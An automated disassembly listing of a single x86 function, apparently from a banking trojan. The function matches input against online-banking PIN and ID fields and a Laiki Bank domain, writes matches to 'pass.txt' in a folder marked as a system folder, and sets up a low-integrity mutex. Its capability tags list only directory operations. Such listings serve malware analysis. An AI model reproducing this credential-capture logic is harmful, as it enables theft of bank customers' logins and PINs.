Function at 0x1001fd80
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1001ffa4
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.txtSubId
push edi
call esi
add esp, 8
test eax, eax
jne 0x1001fdce
push str.txtPin
push edi
call esi
add esp, 8
test eax, eax
jne 0x1001fdce
push str.ebank.laiki.com
push edi
call esi
add esp, 8
test eax, eax
je 0x1001ffa4
xor eax, eax
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x118], cl
inc eax
test cl, cl
jne 0x1001fdd0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005e598
call ebx
mov eax, 0x1005e598
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001fdf6
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001fe08
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005e598
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x1001fe30
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x220], cl
inc eax
test cl, cl
jne 0x1001fe30
mov eax, 0x1005e598
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001fe50
lea edi, [ebp - 0x220]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001fe60
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x220]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10005810
push 0
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
test eax, eax
je 0x1001fec1
call edi
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001febe
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call ebx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001fed6
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.10005550
push str.LocalEAF339BF_89ea_4fe1_9A0D_95CD39DC0214
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x1001ffa4
call edi
mov edi, eax
call fcn.10024cd0
test eax, eax
je 0x1001ff6c
push 0
lea ecx, [ebp - 4]
push ecx
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1001ff6c
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
push edx
mov dword [ebp + 8], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x1001ff62
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push 0x10
push 6
push str.LocalEAF339BF_89ea_4fe1_9A0D_95CD39DC0214
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001ffa4
test byte [ebp + 8], 2
jne 0x1001ffa4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4